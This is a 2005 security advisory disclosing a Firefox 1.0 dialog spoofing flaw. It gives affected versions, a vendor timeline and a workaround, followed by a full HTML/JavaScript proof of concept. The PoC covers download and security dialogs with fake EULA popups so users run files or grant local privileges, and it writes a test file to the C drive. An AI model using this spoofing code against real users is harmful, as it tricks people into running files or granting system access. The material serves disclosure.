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Mozilla Firefox Window Spoofing (Firespoofing)
------------------------------------------------------------------------
SUMMARY
Using JavaScript it is possible to spoof the content of security and
download dialogs by partly covering them with a popup window. This can
fool a user to download and automatically execute a file (if a file
extension association exists) or to grant a script local data access (if
codebase principals are enabled).
DETAILS
Affected Software:
* Mozilla Firefox version 1.0
* Mozilla version 1.7.5
* Netscape version 7.1
All under Windows XP SP2
Expected Behavior:
Modal dialogs should always be on top and it should not be possible to
obfuscate their appearance.
Vendor Status:
The bug is confirmed but currently unfixed (open for more than 3 months).
As a partial workaround set dom.disable_window_flip to true in
about:config. The vendor failed to respond to multiple status requests
which led to this public disclosure.
2004-09-20 Vendor informed (bugzilla.mozilla.org #260560)
2004-09-20 Vendor confirmed bug
2004-10-20 Status request (open for 1 month - no reply)
2005-01-03 Status request (open for 3 months - no reply)
2005-01-07 Status request (disclosure warning - no reply)
2005-01-11 Public disclosure
Exploit:
The PoC is designed for Firefox 1.0 running in a maximized window.
Part 1 - download dialog spoofing
Shows how to cover a download dialog and fool the user to execute a file
with a standard windows file association (in this case a .ht file). BTW,
remember the latest .ht buffer overflow...
Part 2 - security dialog spoofing
Shows how to cover a security dialog. Make sure codebase principals are
enabled (not default but encouraged by many XUL sites). Creates the file
c:\booom.txt to proof local system access.
The exploit is also available at: <http://www.mikx.de/firespoofing/>
http://www.mikx.de/firespoofing/
< html>
< head>
< title>Firefox Dialog Spoofing - Proof-of-Concept -
http://www.mikx.de/firespoofing/</title>
</head>
< script>
function spoofDownload(){
window.location = "booom.php"
var pWin = false;
var pWidth = 364
var pHeight = 225
var pLeft = (screen.width) / 2 - 185;
var pTop = (screen.height) / 2 - 200;
var pLorem = 'Lorem ipsum dolor sit amet, consectetuer adipiscing
elit. Pellentesque lectus dui, porttitor sit amet, varius aliquam,
ultrices id, nisl. Donec gravida, justo at gravida feugiat, pede massa
vehicula magna, ac venenatis felis velit nec lorem. Aenean tempus sapien
at enim. Pellentesque et massa at justo fermentum ultricies. Ut volutpat
ligula nec magna. Maecenas ornare pulvinar nisl. Fusce sodales. Vivamus ut
erat. Cras dolor neque, suscipit non, vestibulum at, sagittis et, arcu.
Quisque mauris mi, sollicitudin vitae, pretium sit amet, nonummy non,
metus.';
var pHtml = '<strong>You need to accept this EULA before entering the
site:</strong><br><br><textarea
style="width:100%;height:140px;font-family:Tahoma,Verdana,Arial;font-size:11px;">'
+ pLorem + '\n\n' + pLorem + '\n\n' + pLorem + '</textarea><br><br><strong>Do
you accept this? Please click OK to confirm.</strong>';
pWin = open('', 'popUpWin', 'width=' + pWidth + ',height=' + pHeight +
',left=' + pLeft + ',top=' + pTop + ',screenX=' + pLeft + ',screenY=' +
pTop +
',toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no');
pWin.opener = this;
pWin.document.open();
pWin.document.write("< html>< head>< style>body { margin:10px;
padding:0px; border:0px; overflow:hidden; background-color:buttonface;
font-family: Tahoma, Verdana, Arial;
font-size:11px;}</style></head><body><
script>window.setTimeout(\"this.focus();\",500);<\/script>" + pHtml +
"</body></html>");
pWin.document.close();
}
function spoofSecurity(){
var pWin = false;
var pWidth = 540
var pHeight = 225
var pLeft = (screen.width) / 2 - 273;
var pTop = (screen.height) / 2 - 240;
var pLorem = 'Lorem ipsum dolor sit amet, consectetuer adipiscing
elit. Pellentesque lectus dui, porttitor sit amet, varius aliquam,
ultrices id, nisl. Donec gravida, justo at gravida feugiat, pede massa
vehicula magna, ac venenatis felis velit nec lorem. Aenean tempus sapien
at enim. Pellentesque et massa at justo fermentum ultricies. Ut volutpat
ligula nec magna. Maecenas ornare pulvinar nisl. Fusce sodales. Vivamus ut
erat. Cras dolor neque, suscipit non, vestibulum at, sagittis et, arcu.
Quisque mauris mi, sollicitudin vitae, pretium sit amet, nonummy non,
metus.';
var pHtml = '< strong>You need to accept this EULA before entering the
site:</strong>< br>< br><textarea
style="width:100%;height:140px;font-family:Tahoma,Verdana,Arial;font-size:11px;">'
+ pLorem + '\n\n' + pLorem + '\n\n' + pLorem + '</textarea>< br>< br><
strong>Do you accept this? Please click "Allow" to confirm.</strong>';
pWin = open('', 'popUpWin', 'width=' + pWidth + ',height=' + pHeight +
',left=' + pLeft + ',top=' + pTop + ',screenX=' + pLeft + ',screenY=' +
pTop +
',toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no');
pWin.opener = this;
pWin.document.open();
pWin.document.write("< html>< head>< style>body { margin:10px;
padding:0px; border:0px; overflow:hidden; background-color:buttonface;
font-family:Tahoma,Verdana,Arial; font-size:11px;}</style></head>< body><
script>window.setTimeout(\"this.focus();\",500);<\/script>" + pHtml +
"</body></html>");
pWin.document.close();
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
file =
Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
file.initWithPath("c:\\booom.txt");
file.create(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 420);
outputStream =
Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(
Components.interfaces.nsIFileOutputStream );
outputStream.init(file, 0x04 | 0x08 | 0x20, 420, 0);
output = "booom!";
outputStream.write(output, output.length);
outputStream.close();
}
</script>
< body>
< div style="font-family:Verdana;font-size:11px;">
< div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firefox
Dialog Spoofing - Proof-of-Concept</div>
Designed for Firefox 1.0 (Windows) and a maximized window
< br>< br>
< a href="javascript:spoofDownload()">Open spoofed download dialog</a>
< br>< br>
< a href="javascript:spoofSecurity()">Open spoofed security dialog</a>
(enable signed.applets.codebase_principal_support)
< br>< br>< br>
Full Advisory: < a href="http://www.mikx.de/?p=7";
target="_blank">http://www.mikx.de/?p=7</a>
</div>
</body>
</html>
ADDITIONAL INFORMATION
The information has been provided by <mailto:mikx@mikx.de> Michael Krax.
The original article can be found at: <http://www.mikx.de/?p=7>
http://www.mikx.de/?p=7
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